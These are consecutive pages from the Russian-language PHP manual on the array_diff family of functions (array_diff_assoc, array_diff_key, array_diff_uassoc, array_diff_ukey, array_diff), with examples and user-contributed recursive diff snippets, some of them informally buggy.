  • array_udiff_assoc() - Вычисляет расхождение в массивах с дополнительной проверкой индексов, используя для сравнения значений callback-функцию
  • array_udiff_uassoc() - Вычисляет расхождение в массивах с дополнительной проверкой индексов, используя для сравнения значений и индексов callback-функцию
  • array_intersect() - Вычисляет пересечение массивов
  • array_intersect_assoc() - Вычисляет пересечение массивов с дополнительной проверкой индекса

User Contributed Notes

Henry 20-Feb-2024 10:17
function array_diff_assoc_recursive($array1, $array2)
    {
        $array1Array = [];

        foreach ($array1 as $key => $value) {
            if (!is_array($value)) {
                continue;
            }
            $array1Array[$key] = $value;
            unset($array1[$key]);
        }

        $array2Array = [];

        foreach ($array2 as $key => $value) {
            if (!is_array($value)) {
                continue;
            }
            $array2Array[$key] = $value;
            unset($array2[$key]);
        }

        $diff = is_int(array_key_first($array1)) ? array_values(array_diff($array1, $array2)) : array_diff_assoc($array1, $array2);

        foreach ($array1Array as $key => $value) {
            if (isset($array2Array[$key])) {
                $subDiff = array_diff_assoc_recursive($value, $array2Array[$key]);
                if (count($subDiff) !== 0) {
                    $diff = array_merge($diff, is_int($key) ? [$subDiff] : [$key => $subDiff]);
                }
            } else {
                $diff = array_merge($diff, is_int($key) ? [$value] : [$key => $value]);
            }
        }

        return $diff;
    }
nekto 19-Jul-2022 01:53
PHP associative keys are case-sensitive, key "a" is different from key "A":

<?php
$arr = ["A" => 666];
var_dump($arr["a"]);
var_dump($arr["A"]);
?>

produces:
NULL
int(666)

And in the same way, array_diff_assoc treats keys case-sensitively, and key "A" is not equal to key "a" and will be diffed:

<?php
// in arrays below value of "a" and "A" are the same, but keys are different
// values of "b" are different
// values of "c" are the same
$compareWhat = ["a" => 666, "b" => 666, "c" => 666, ];
$compareWith = ["A" => 666, "b" => 667, "c" => 666, ];

var_dump(array_diff_assoc($compareWhat, $compareWith));
?>

produces:
array(2) {
["a"]=> int(666)
["b"]=> int(666)
}

And if the order of values in array is different, the order of the result will be different, although essentially the result stays the same:

<?php
// the same as above, but "b" comes before "a" in $compareWhat
$compareWhat = ["b" => 666, "a" => 666, "c" => 666, ];
$compareWith = ["A" => 666, "b" => 667, "c" => 666, ];

var_dump(array_diff_assoc($compareWhat, $compareWith));
?>

produces:
array(2) {
["b"]=> int(666)
["a"]=> int(666)
}
folurinyinka at gmail dot com 23-Apr-2022 08:38
Recursive implementation accepting multiple n-level-arrays as parameters:

```php
function recursiveDiff(...$arrays)
{
    $first = array_shift($arrays);
    $diff = [];

    foreach ($first as $key => $value) {
        $values = array_map(function ($arr) use ($key) {
            if (is_array($arr) && !array_key_exists($key, $arr)) {
                return null;
            }

            return isset($arr[$key]) ? $arr[$key] : null;
        }, $arrs);

        if (in_array($value, $values)) {
            continue;
        }

        if (is_array($value)) {
            array_unshift($values, $value);
            $diff[$key] = call_user_func_array(__FUNCTION__, $values);
            continue;
        }

        $diff[$key] = $first[$key];
    }

    return $diff;
}
```
angujomondi at gmail dot com 28-Mar-2021 07:49
For recursive diff of multiple arrays, exending solution provided by Gosh.

<?php

function array_diff_assoc_recursive(array $array, array ...$arrays)
    {
        $func  = function($array1, $array2) use (&$func){
            $difference = [];
            foreach ($array1 as $key => $value) {
                if (is_array($value)) {
                    if (!isset($array2[$key]) || !is_array($array2[$key])) {
                        $difference[$key] = $value;
                    } else {
                        $new_diff = $func($value, $array2[$key]);
                        if (!empty($new_diff)) {
                            $difference[$key] = $new_diff;
                        }
                    }
                } else {
                    if (!array_key_exists($key, $array2) || $array2[$key] !== $value) {
                        $difference[$key] = $value;
                    }
                }
            }
            return $difference;
        };
        $diffs = $array;
        foreach ($arrays as $_array) {
            $diffs = $func($diffs, $_array);
        }
        return $diffs;
    }

?>
spark dot crz at gmail dot com 02-Apr-2018 04:56
Recursive implementation accepting multiple n-level-arrays as parameters:

<?php
function recursiveDiff() {
    $arrs = func_get_args();
    $first = array_shift($arrs);
    $diff = [];

    foreach($first as $key => $value) {
        $values = array_map(function($arr) use($key){
            if (is_array($arr) && !array_key_exists($key, $arr))
                return null;

            return $arr[$key];
        }, $arrs);

        if (in_array($value, $values))
            continue;

        if (is_array($value)) {
            array_unshift($values, $value);
            $diff[$key] = call_user_func_array(__FUNCTION__, $values);
            continue;
        }

        $diff[$key] = $first[$key];
    }

    return $diff;
}
?>

The other attempt was cleaner but didn't work for all cases.
spark dot crz at gmail dot com 02-Apr-2018 03:29
Yet another recursive implementation, without if-else hell and with multiple parameters just like the original.

<?php
function recursiveDiff() {
    $arrs = func_get_args();
    $diff = call_user_func_array('array_diff_assoc', $arrs);

    foreach($diff as $key => $value) {
        if (!is_array($value))
            continue;

        $children = array_map(function($arr) use($key){
            return $arr[$key];
        }, $arrs);

        $diff[$key] = call_user_func_array(__FUNCTION__, $children);
    }

    return $diff;
}
tero dot lahtinen at iki dot fi 10-Oct-2017 03:23
array_diff_assoc will fail, if a value is something that can not be converted to a string.
francois-php at ceonizme dot fr 28-Aug-2014 06:27
to chinello at gmail dot com
I've had to use your function but it showed that the use of isset can't differentiate the NULL values from not setted values.

Here's a version that takes care of this subtility.

<?php
function array_diff_assoc_recursive($array1, $array2)
{
    $difference = NULL;
    foreach($array1 as $key => $value)
    {
        if(is_array($value))
        {
            if(!array_key_exists($key, $array2))
            {
                $difference[$key] = $value;
            }
            elseif(!is_array($array2[$key]))
            {
                $difference[$key] = $value;
            }
            else
            {
                $new_diff = array_diff_assoc_recursive($value, $array2[$key]);
                if($new_diff != FALSE)
                {
                    $difference[$key] = $new_diff;
                }
            }
        }
        elseif(!array_key_exists($key, $array2) || $array2[$key] != $value)
        {
            $difference[$key] = $value;
        }
    }
    return !isset($difference) ? 0 : $difference;
}
?>

Hope that helps
Francois
shadow_games at abv dot bg 11-Jun-2014 03:45
there is a functiont that i searched long enough now i have created it so someone else to find it if he need it ;]
<?php
    function compare_two_object_recursive($object_1, $object_2, $object_1_Identifier = false, $object_2_Identifier = false){
        $object1 = (array)$object_1;
        $object2 = (array)$object_2;
        $object3 = array();

        $o1i = $object_1_Identifier ? $object_1_Identifier : 1;
        $o2i = $object_2_Identifier ? $object_2_Identifier : 2;

        foreach($object1 as $key => $value){
            if(is_object($object1[$key])){
                $object1[$key] = (array)$object1[$key];
                $object2[$key] = (array)$object2[$key];
                $object3[$key] = (object)compare_two_object_recursive($object1[$key], $object2[$key], $o1i, $o2i);
            }elseif(is_array($object1[$key])){
                $object3[$key] = compare_two_object_recursive($object1[$key], $object2[$key], $o1i, $o2i);
            }else{
                if($object1[$key] == $object2[$key]){
                    $object3[$key]['comparison_status'] = "SAME";
                }else{
                    $object3[$key]['comparison_status'] = "NOT THE SAME";
                    $object3[$key][$o1i] = $object1[$key];
                    $object3[$key][$o2i] = $object2[$key];
                }
            }
        }
        return $object3;
    }
?>
dev5er6 at gmail dot com 13-Apr-2014 04:01
Works more like the original function:

<?php

function array_diff_assoc_recursive ( )
{
    $args = func_get_args ( );
    $diff = array ( );
    foreach ( array_shift ( $args ) as $key => $val )
    {
        for ( $i = 0, $j = 0, $tmp = array ( $val ) , $count = count ( $args ); $i < $count; $i++ )
            if ( is_array ( $val ) )
                if ( !isset ( $args[$i][$key] ) || !is_array ( $args[$i][$key] ) || empty( $args[$i][$key] ) )
                    $j++;
                else
                    $tmp[] = $args[$i][$key];
            elseif ( ! array_key_exists ( $key, $args[$i] ) || $args[$i][$key] !== $val )
                $j++;
        if ( is_array ( $val ) )
        {
            $tmp = call_user_func_array ( __FUNCTION__, $tmp );
            if ( ! empty ( $tmp ) ) $diff[$key] = $tmp;
            elseif ( $j == $count ) $diff[$key] = $val;
        }
        elseif ( $j == $count && $count ) $diff[$key] = $val;
    }

    return $diff;
}

?>
telefoontoestel at hotmail dot com 04-Feb-2014 09:11
an earlier post for recursive array_diff_assoc failed because isset returned false on an array element containing a null value. I updated the code so it compares null values too.

<?php
function array_diff_assoc_recursive($array1, $array2)
{
    foreach($array1 as $key => $value)
    {
        if(is_array($value))
        {
              if(!isset($array2[$key]))
              {
                  $difference[$key] = $value;
              }
              elseif(!is_array($array2[$key]))
              {
                  $difference[$key] = $value;
              }
              else
              {
                  $new_diff = array_diff_assoc_recursive($value, $array2[$key]);
                  if($new_diff != FALSE)
                  {
                        $difference[$key] = $new_diff;
                  }
              }
          }
          elseif(!array_key_exists($key, $array2) || $array2[$key] != $value)
          {
              $difference[$key] = $value;
          }
    }
    return !isset($difference) ? 0 : $difference;
}
?>
Michael Richey 04-May-2013 01:43
If you're looking for a true array_diff_assoc, comparing arrays to determine the difference between two, finding missing values from both, you can use this along with array_merge.

$a = array('a'=>1,'b'=>2,'c'=>3);
$b = array('a'=>1,'b'=>2,'d'=>4);
print_r(array_diff_assoc($a,$b));
// returns:
array
(
    [c] => 3
)

print_r(array_diff_assoc($b,$a));
// returns
array
(
    [d] => 4
)

print_r(array_merge(array_diff_assoc($a,$b),array_diff_assoc($b,$a)));
// returns
array
(
    [c] => 3
    [d] => 4
)
Giosh 15-Mar-2013 11:15
The array_diff_assoc_array from "chinello at gmail dot com" (and others) will not work for arrays with null values. That's because !isset is true when an array key doesn't exists or is set to null.

(sorry for the changed indent-style)
<?php
function array_diff_assoc_recursive($array1, $array2) {
    $difference=array();
    foreach($array1 as $key => $value) {
        if( is_array($value) ) {
            if( !isset($array2[$key]) || !is_array($array2[$key]) ) {
                $difference[$key] = $value;
            } else {
                $new_diff = array_diff_assoc_recursive($value, $array2[$key]);
                if( !empty($new_diff) )
                    $difference[$key] = $new_diff;
            }
        } else if( !array_key_exists($key,$array2) || $array2[$key] !== $value ) {
            $difference[$key] = $value;
        }
    }
    return $difference;
}
?>

And here an example (note index 'b' in the output):
<?php
$a1=array( 'a' => 0, 'b' => null, 'c' => array( 'd' => null ) );
$a2=array( 'a' => 0, 'b' => null );

var_dump( array_diff_assoc_recursive( $a1, $a2 ) );
var_dump( chinello_array_diff_assoc_recursive( $a1, $a2 ) );
?>
array(1) {
  ["c"]=>
  array(1) {
    ["d"]=>
    NULL
  }
}

array(2) {
  ["b"]=>
  NULL
  ["c"]=>
  array(1) {
    ["d"]=>
    NULL
  }
}
news_yodpeirs at thoftware dot de 12-Jul-2011 04:25
A quite simple (yet not very efficient) way to compare the first level of arrays which have values that are not strings:
array_map('unserialize',array_diff_assoc(array_map('serialize',$arr1),array_map('serialize',$arr2)))
Might be useful for debugging (that's what I use it for).
jrajpu10 at gmail dot com 25-Oct-2008 12:57
array_diff_assoc can also be used to find the duplicates in an array

<?php
$arr = array('1','2','3','4','3','2','5');
$uniques = array_unique($arr);
// array_diff will not work here, array_diff_assoc works as it takes the key // in account.
$dups = array_diff_assoc($arr, $uniques);

print_r($dups);
?>

Note: The index of the $dups is not in strict sequential order as expected by C programmer.
cedric at daneel dot net 21-May-2007 06:01
To diff between n-dimensional array, juste use this :

<?php
function array_diff_values($tab1, $tab2)
    {
    $result = array();
    foreach($tab1 as $values) if(! in_array($values, $tab2)) $result[] = $values;
    return $result;
    }
?>
contact at pascalopitz dot com 11-Apr-2007 04:14
The direction of the arguments does actually make a difference:

<?php
$a = array(
    'x' => 'x',
    'y' => 'y',
    'z' => 'z',
    't' => 't',
);

$b = array(
    'x' => 'x',
    'y' => 'y',
    'z' => 'z',
    't' => 't',
    'g' => 'g',
);

print_r(array_diff_assoc($a, $b));
print_r(array_diff_assoc($b, $a));
?>

echoes:

Array
(
)
Array
(
    [g] => g
)
chinello at gmail dot com 18-Mar-2007 10:33
The following will recursively do an array_diff_assoc, which will calculate differences on a multi-dimensional level.  This not display any notices if a key don't exist and if error_reporting is set to E_ALL:

<?php
function array_diff_assoc_recursive($array1, $array2)
{
    foreach($array1 as $key => $value)
    {
        if(is_array($value))
        {
              if(!isset($array2[$key]))
              {
                  $difference[$key] = $value;
              }
              elseif(!is_array($array2[$key]))
              {
                  $difference[$key] = $value;
              }
              else
              {
                  $new_diff = array_diff_assoc_recursive($value, $array2[$key]);
                  if($new_diff != FALSE)
                  {
                        $difference[$key] = $new_diff;
                  }
              }
          }
          elseif(!isset($array2[$key]) || $array2[$key] != $value)
          {
              $difference[$key] = $value;
          }
    }
    return !isset($difference) ? 0 : $difference;
}
?>

[NOTE BY danbrown AT php DOT net: This is a combination of efforts from previous notes deleted.  Contributors included (Michael Johnson), (jochem AT iamjochem DAWT com), (sc1n AT yahoo DOT com), and (anders DOT carlsson AT mds DOT mdh DOT se).]
Alexander Podgorny 30-May-2006 02:30
NOTE: the diff_array also removes all the duplicate values that match to the values in the second array:

<?php
    $array1 = array("a","b","c","a","a");
    $array2 = array("a");

    $diff = array_diff($array1,$array2);

    // yields: array("b","c") the duplicate "a" values are removed
?>
benjamin at moonfactory dot co dot jp 11-Jan-2005 09:56
Hi all,
For php versions < 4.3...

<?php
/**
 * array_diff_assoc for version < 4.3
 **/
if (!function_exists('array_diff_assoc'))
{
    function array_diff_assoc($a1, $a2)
    {
        foreach($a1 as $key => $value)
        {
            if(isset($a2[$key]))
            {
                if((string) $value !== (string) $a2[$key])
                {
                     $r[$key] = $value;
                }
            }else
            {
                $r[$key] = $value;
            }
        }
        return $r ;
    }
}

?>
carl at thep dot lu dot se 09-May-2003 02:55
To unset elements in an array if you know the keys but not the values, you can do:

<?php
$a = array("foo", "bar", "baz", "quux");
$b = array(1, 3); // Elements to get rid of

foreach($b as $e)
  unset($a[$e]);
?>

Of course this makes most sense if $b has many elements or is dynamically generated.


Вычисляет расхождение массивов, сравнивая ключи

  • « array_diff_assoc
  • array_diff_uassoc »
  • PHP Manual
  • Функции для работы с массивами
  • Вычисляет расхождение массивов, сравнивая ключи

array_diff_key

(PHP 5 >= 5.1.0, PHP 7, PHP 8)

array_diff_key — Вычисляет расхождение массивов, сравнивая ключи

Описание

array_diff_key(array $array, array ...$arrays): array

Сравнивает ключи array с ключами arrays и возвращает разницу. Эта функция схожа с array_diff() за исключением того, что сравниваются ключи, а не значения.

Список параметров

array

Исходный массив

arrays

Массивы для сравнения

Возвращаемые значения

Возвращает массив (array), содержащий все элементы array с ключами, которых нет во всех последующих массивах.

Список изменений

Версия | Описание
8.0.0 | Теперь разрешается вызывать функцию только с одним параметром. Раньше требовалось не менее двух параметров.

Примеры

Пример #1 Пример использования array_diff_key()

Два ключа пар key => value считаются равными только тогда, когда (string) $key1 === (string) $key2 . Другими словами, применяется строгая проверка, означающая что строковые представления должны быть одинаковыми.

<?php
$array1 = array('blue' => 1, 'red' => 2, 'green' => 3, 'purple' => 4);
$array2 = array('green' => 5, 'yellow' => 7, 'cyan' => 8);

var_dump(array_diff_key($array1, $array2));
?>

Результат выполнения приведённого примера:

array(3) {
  ["blue"]=>
  int(1)
  ["red"]=>
  int(2)
  ["purple"]=>
  int(4)
}
<?php
$array1 = array('blue' => 1, 'red' => 2, 'green' => 3, 'purple' => 4);
$array2 = array('green' => 5, 'yellow' => 7, 'cyan' => 8);
$array3 = array('blue' => 6, 'yellow' => 7, 'mauve' => 8);

var_dump(array_diff_key($array1, $array2, $array3));
?>

Результат выполнения приведённого примера:

array(2) {
  ["red"]=>
  int(2)
  ["purple"]=>
  int(4)
}

Примечания

Замечание:

Эта функция обрабатывает только одно измерение n-размерного массива. Естественно, вы можете обрабатывать и более глубокие уровни вложенности, например, используя array_diff_key($array1[0], $array2[0]);.

Смотрите также

  • array_diff() - Вычисляет расхождение массивов
  • array_udiff() - Вычисляет расхождение массивов, используя для сравнения callback-функцию
  • array_diff_assoc() - Вычисляет расхождение массивов с дополнительной проверкой индекса
  • array_diff_uassoc() - Вычисляет расхождение массивов с дополнительной проверкой индекса через пользовательскую callback-функцию
  • array_udiff_assoc() - Вычисляет расхождение в массивах с дополнительной проверкой индексов, используя для сравнения значений callback-функцию
  • array_udiff_uassoc() - Вычисляет расхождение в массивах с дополнительной проверкой индексов, используя для сравнения значений и индексов callback-функцию
  • array_diff_ukey() - Вычисляет расхождение массивов, используя callback-функцию для сравнения ключей
  • array_intersect() - Вычисляет пересечение массивов
  • array_intersect_assoc() - Вычисляет пересечение массивов с дополнительной проверкой индекса
  • array_intersect_uassoc() - Вычисляет пересечение массивов с дополнительной проверкой индекса, сравнивая индексы через callback-функцию
  • array_intersect_key() - Вычисляет пересечение массивов, сравнивая ключи
  • array_intersect_ukey() - Вычисляет пересечение массивов, используя callback-функцию для сравнения ключей

User Contributed Notes

rhallsey at yahoo dot com 13-Sep-2014 12:45
Here's a simple function that returns true if all keys in the first array are found in the second array, and false if they aren't.

function same_keys ($a1, $a2) {
    $same = false;
    if (!array_diff_key($a1, $a2)) {
        $same = true;
        foreach ($a1 as $k => $v) {
            if (is_array($v) && !same_keys($v, $a2[$k])) {
                $same = false;
                break;
            }
        }
    }
    return $same;
}

To check if two arrays have the same structure, ignoring values, execute the function twice, the second time with the arguments reversed.
gk at anuary dot com 29-Jun-2013 03:40
Improved recursive version.

<?php
/**
 * @author Gajus Kuizinas <gk@anuary.com>
 * @version 1.0.0 (2013 03 19)
 */
function array_diff_key_recursive (array $arr1, array $arr2) {
    $diff = array_diff_key($arr1, $arr2);
    $intersect = array_intersect_key($arr1, $arr2);

    foreach ($intersect as $k => $v) {
        if (is_array($arr1[$k]) && is_array($arr2[$k])) {
            $d = array_diff_key_recursive($arr1[$k], $arr2[$k]);

            if ($d) {
                $diff[$k] = $d;
            }
        }
    }

    return $diff;
}
?>

An up to date version is maintained at https://github.com/gajus/flow/blob/master/flow.inc.php#L337.
division-par-zero at zilon dot net 03-Oct-2008 07:02
you can use this function for return the difference of two array !

<?php
function array_unique_diff_key ($array1, $array2)
{
  if (is_array($array1) && is_array($array2))
    return array_diff_key($array1, $array2) + array_diff_key($array2, $array1);
  else if (is_array($array1)) return $array1;
  else if (is_array($array2)) return $array2;
  else return array();
}
?>
Ashton 02-Apr-2008 01:33
To return the unique elements (those with a key that exists only once in either array but not in both) try:
function array_unique_diff ($array1, $array2)
{
  array_merge(array_diff_key($array1, $array2), array_diff_key($array2, $array1));
}

Example:
$array1 = array('blue'  => 1, 'red'  => 2, 'green'  => 3, 'purple' => 4);
$array2 = array('green' => 5, 'blue' => 6, 'yellow' => 7, 'cyan'   => 8);

  array_diff_key($array1, $array2)

returns

  array ( 'red' => 2, 'purple' => 4 )

  array_diff_key($array2, $array1)

returns

  array ( 'yellow' => 7, 'cyan' => 8, )

  array_unique_diff($array1, $array2);

returns

  array ( 'red' => 2, 'purple' => 4, 'yellow' => 7, 'cyan' => 8, )
sjungwirth at matrix-consultants dot com 28-Feb-2008 12:08
I needed something a little different where maybe even the keys in multidimensional arrays don't match up. Setting $assoc to false will cause only to check for missing keys, otherwise it compares values as well. This was also based on '2ge at 2ge dot us' function

<?php

function n_array_diff_assoc ($a1, $a2, $assoc=true) {
    $r = array();
    if(is_array(current($a1))):
        foreach($a1 as $k => $v):
            if(isset($a2[$k])):
                $diff = n_array_diff($a1[$k], $a2[$k], $assoc);
                if (!empty($diff)):
                    $r[$k] = $diff;
                endif;
            else:
                $r[$k] = $v;
            endif;
        endforeach;
    else:
        $r = $assoc ? array_diff_assoc($a1, $a2) : array_diff_key($a1, $a2);
    endif;
    return $r;
}
?>
coder at gs dot com 16-Feb-2008 02:00
The PHP4 version below works only unidirectionally. If you switch the arrays around i.e. (ar2, ar1) you get different results than (ar1, ar2).
AiFiLTr0 [at host] invyl [dot] ath.cx 29-Nov-2007 05:56
The recursive function suggested by '2ge at 2ge dot us' will provide you with empty arrays if there's no diff.
This variant of the function cleans up empty arrays and fixes a bug in the first suggested version. It works 100%
.
<?php
function array_diff_key_recursive ($a1, $a2) {
        foreach($a1 as $k => $v) {
            //$r[$k] = is_array($v) ? $this->array_diff_key_recursive($a1[$k], $a2[$k]) : array_diff_key($a1, $a2);
        if (is_array($v))
            {
            $r[$k]=$this->array_diff_key_recursive($a1[$k], $a2[$k]);
            }else
            {
            $r=array_diff_key($a1, $a2);
            }

        if (is_array($r[$k]) && count($r[$k])==0)
            {
            unset($r[$k]);
            }
        }
        return $r;
    }
?>
2ge at 2ge dot us 07-Mar-2006 11:28
Hello, if you need diff key of n-dimensional arrays here is nice solution:
<?php
function n_array_diff ($a1, $a2) {
        foreach($a1 as $k => $v) {
            $r[$k] = is_array($v) ? n_array_diff($a1[$k], $a2[$k]) : array_diff_key($a1, $a2);
        }
        return $r;
}
?>
it will print everything, what is missing in $a2.
vlad_mustafin at ukr dot net 13-Jan-2006 07:39
One more alternative variant :)
<?
if (!function_exists('array_diff_key')) {
    function array_diff_key() {
        $argCount   = func_num_args();
        $diff_arg_prefix = 'diffArg';
        $diff_arg_names = array();
        for ($i=0; $i < $argCount; $i++) {
            $diff_arg_names[$i] = 'diffArg'.$i;
            $$diff_arg_names[$i] = array_keys((array)func_get_arg($i));
        }
        $diffArrString = '';
        if (!empty($diff_arg_names)) $diffArrString =  '$'.implode(', $', $diff_arg_names);
        eval("\$result = array_diff(".$diffArrString.");");
        return $result;
    }
}
?>
ampf at egp dot up dot pt 25-Nov-2005 12:55
Well, you could implement in the code something more powerfull:

http://www.php.net/manual/en/function.array-diff.php#31364
maxence at pontapreta dot net 27-May-2005 10:38
Seems to be a great function, especially for n-dimensions arrays. The only problem is that I cannot find it in php 5.0.3 and 5.0.4. Does it really exist ?! :(

[20:27:05][maxence@conurb] ~/test2/php-5.0.4$ grep PHP_FUNCTION * -r | grep -i array_diff_key
[20:27:09][maxence@conurb] ~/test2/php-5.0.4$


Вычисляет расхождение массивов с дополнительной проверкой индекса через пользовательскую callback-функцию

  • « array_diff_key
  • array_diff_ukey »
  • PHP Manual
  • Функции для работы с массивами
  • Вычисляет расхождение массивов с дополнительной проверкой индекса через пользовательскую callback-функцию

array_diff_uassoc

(PHP 5, PHP 7, PHP 8)

array_diff_uassoc — Вычисляет расхождение массивов с дополнительной проверкой индекса через пользовательскую callback-функцию

Описание

array_diff_uassoc(array $array, array ...$arrays, callable $key_compare_func): array

Сравнивает значения массива array cо значениями массивов arrays и возвращает разницу. В этой функции, в отличие от функции array_diff(), ключи массива также участвуют в сравнении.

В отличие от функции array_diff_assoc(), в этой функции ключи сравнивает пользовательская callback-функция, а не встроенная.

Список параметров

array

Исходный массив

arrays

Массивы, с которыми идёт сравнение

key_compare_func

Функция сравнения должна возвращать целое, которое меньше, равно или больше нуля, если первый аргумент является соответственно меньшим, равным или большим, чем второй.

callback(mixed $a, mixed $b): int
Предостережение

Возвращение нецелых значений из функции сравнения, таких как число с плавающей точкой (float), приведёт к внутреннему приведению возвращаемого значения callback-функции к целому числу (int). Таким образом, значения 0.99 и 0.1 будут приведены к целочисленному значению 0, что позволит сравнить эти значения как равные.

Возвращаемые значения

Возвращает массив (array), содержащий все элементы массива array, которых нет в других сравниваемых массивах.

Примеры

Пример #1 Пример использования array_diff_uassoc()

В этом примере пара "a" => "green" существует в обоих содержится в обоих массивах, и поэтому её нет в выводе функции. Но пара 0 => "red" содержится в выводе функции, потому что значению "red" в первом массиве автоматически присваивается ключ 0, а во втором массиве тому же значению будет присвоен ключ 1, поскольку ключ 0 уже занят значением yellow.

<?php
function key_compare_func($a, $b)
{
if ($a === $b) {
return 0;
}
return $a <=> $b;
}

$array1 = array("a" => "green", "b" => "brown", "c" => "blue", "red");
$array2 = array("a" => "green", "yellow", "red");
$result = array_diff_uassoc($array1, $array2, "key_compare_func");
print_r($result);
?>

Результат выполнения приведённого примера:

Array
(
    [b] => brown
    [c] => blue
    [0] => red
)

Равенство 2 индексов проверяется функцией, предоставляемой пользователем.

Примечания

Замечание:

Эта функция проверяет только один уровень n-мерного массива. Сравнить вложенные массивы можно, указав более глубокий уровень, например: array_diff_uassoc($array1[0], $array2[0], "key_compare_func");.

Смотрите также

  • array_diff() - Вычисляет расхождение массивов
  • array_diff_assoc() - Вычисляет расхождение массивов с дополнительной проверкой индекса
  • array_udiff() - Вычисляет расхождение массивов, используя для сравнения callback-функцию
  • array_udiff_assoc() - Вычисляет расхождение в массивах с дополнительной проверкой индексов, используя для сравнения значений callback-функцию
  • array_udiff_uassoc() - Вычисляет расхождение в массивах с дополнительной проверкой индексов, используя для сравнения значений и индексов callback-функцию
  • array_intersect() - Вычисляет пересечение массивов
  • array_intersect_assoc() - Вычисляет пересечение массивов с дополнительной проверкой индекса
  • array_uintersect() - Вычисляет пересечение массивов, используя для сравнения значений callback-функцию
  • array_uintersect_assoc() - Вычисляет пересечение массивов с дополнительной проверкой индексов, используя для сравнения значений callback-функцию
  • array_uintersect_uassoc() - Вычисляет пересечение массивов с дополнительной проверкой индекса, используя для сравнения индексов и значений отдельные callback-функции

User Contributed Notes

MD. ABU SAYEM 11-Mar-2014 06:12
//array_diff_uassoc for multidimenssional array
$color_1=array('a'=>'white','b'=>'red','c'=>array('a'=>'green','b'=>'blue','c'=>'yellow'));
$color_2=array('a'=>'white','b'=>'red','c'=>array('a'=>'white','b'=>'red','c'=>'yellow'));

function key_compare($a,$b){
    if($a===$b)        return 0;
    return($a>$b)?1:-1;
}
print_r(array_diff_uassoc($color_1['c'], $color_2['c'],"key_compare"));

//Output
 Array
(
    [a] => green
    [b] => blue
)


Вычисляет расхождение массивов, используя callback-функцию для сравнения ключей

  • « array_diff_uassoc
  • array_diff »
  • PHP Manual
  • Функции для работы с массивами
  • Вычисляет расхождение массивов, используя callback-функцию для сравнения ключей

array_diff_ukey

(PHP 5 >= 5.1.0, PHP 7, PHP 8)

array_diff_ukey — Вычисляет расхождение массивов, используя callback-функцию для сравнения ключей

Описание

array_diff_ukey(array $array, array ...$arrays, callable $key_compare_func): array

Сравнивает ключи array с ключами arrays и возвращает разницу. Эта функция похожа на array_diff() за исключением того, что сравниваются ключи, а не значения.

В отличие от функции array_diff_key() для сравнения ключей используется функция, предоставляемая пользователем, а не встроенная функция.

Список параметров

array

Исходный массив

arrays

Массивы, с которыми идёт сравнение

key_compare_func

Функция сравнения должна возвращать целое, которое меньше, равно или больше нуля, если первый аргумент является соответственно меньшим, равным или большим, чем второй.

callback(mixed $a, mixed $b): int
Предостережение

Возвращение нецелых значений из функции сравнения, таких как число с плавающей точкой (float), приведёт к внутреннему приведению возвращаемого значения callback-функции к целому числу (int). Таким образом, значения 0.99 и 0.1 будут приведены к целочисленному значению 0, что позволит сравнить эти значения как равные.

Возвращаемые значения

Возвращает массив (array), содержащий все элементы array, отсутствующие в каком-либо из всех остальных массивов.

Примеры

Пример #1 Пример использования array_diff_ukey()

<?php
function key_compare_func($key1, $key2)
{
if ($key1 == $key2)
return 0;
else if ($key1 > $key2)
return 1;
else
return -1;
}

$array1 = array('blue' => 1, 'red' => 2, 'green' => 3, 'purple' => 4);
$array2 = array('green' => 5, 'blue' => 6, 'yellow' => 7, 'cyan' => 8);

var_dump(array_diff_ukey($array1, $array2, 'key_compare_func'));
?>

Результат выполнения приведённого примера:

array(2) {
  ["red"]=>
  int(2)
  ["purple"]=>
  int(4)
}

Примечания

Замечание:

Обратите внимание, что эта функция обрабатывает только одно измерение n-размерного массива. Естественно, вы можете обрабатывать и более глубокие уровни вложенности, например, используя array_diff_ukey($array1[0], $array2[0], 'callback_func');.

Смотрите также

  • array_diff() - Вычисляет расхождение массивов
  • array_udiff() - Вычисляет расхождение массивов, используя для сравнения callback-функцию
  • array_diff_assoc() - Вычисляет расхождение массивов с дополнительной проверкой индекса
  • array_diff_uassoc() - Вычисляет расхождение массивов с дополнительной проверкой индекса через пользовательскую callback-функцию
  • array_udiff_assoc() - Вычисляет расхождение в массивах с дополнительной проверкой индексов, используя для сравнения значений callback-функцию
  • array_udiff_uassoc() - Вычисляет расхождение в массивах с дополнительной проверкой индексов, используя для сравнения значений и индексов callback-функцию
  • array_diff_key() - Вычисляет расхождение массивов, сравнивая ключи
  • array_intersect() - Вычисляет пересечение массивов
  • array_intersect_assoc() - Вычисляет пересечение массивов с дополнительной проверкой индекса
  • array_intersect_uassoc() - Вычисляет пересечение массивов с дополнительной проверкой индекса, сравнивая индексы через callback-функцию
  • array_intersect_key() - Вычисляет пересечение массивов, сравнивая ключи
  • array_intersect_ukey() - Вычисляет пересечение массивов, используя callback-функцию для сравнения ключей

User Contributed Notes

There are no user contributed notes for this page.


Вычисляет расхождение массивов

  • « array_diff_ukey
  • array_fill_keys »
  • PHP Manual
  • Функции для работы с массивами
  • Вычисляет расхождение массивов

array_diff

(PHP 4 >= 4.0.1, PHP 5, PHP 7, PHP 8)

array_diff — Вычисляет расхождение массивов

Описание

array_diff(array $array, array ...$arrays): array

Сравнивает массив, переданный в параметр array, с одним или несколькими другими массивами и возвращает значения из массива array, которые отсутствуют во всех других массивах.

Список параметров

array

Исходный массив

arrays

Массивы, с которыми идёт сравнение

Возвращаемые значения

Возвращает массив (array), содержащий те элементы массива array, которых нет в любом другом массиве. Ключи в массиве array сохраняются.

Список изменений

Версия | Описание
8.0.0 | Теперь разрешается вызывать функцию только с одним параметром. Раньше требовалось не менее двух параметров.

Примеры

Пример #1 Пример использования array_diff()

<?php
$array1 = array("a" => "green", "red", "blue", "red");
$array2 = array("b" => "green", "yellow", "red");
$result = array_diff($array1, $array2);

print_r($result);
?>

Множественные совпадения в $array1 обрабатываются как одно. Результат будет следующим:

Array
(
    [1] => blue
)

Пример #2 Пример использования array_diff() с несовпадающими типами

Два элемента считаются равными тогда и только тогда, когда (string) $elem1 === (string) $elem2. То есть, когда строковое представление одинаково.

<?php
// Это сгенерирует уведомление о том, что массив не может быть преобразован в строку.
$source = [1, 2, 3, 4];
$filter = [3, 4, [5], 6];
$result = array_diff($source, $filter);

// В то же время это нормально, поскольку объекты могут быть преобразованы в строку.
class S {
private $v;

public function __construct(string $v) {
$this->v = $v;
}

public function __toString() {
return $this->v;
}
}

$source = [new S('a'), new S('b'), new S('c')];
$filter = [new S('b'), new S('c'), new S('d')];

$result = array_diff($source, $filter);

// $result теперь содержит один экземпляр S('a');
?>

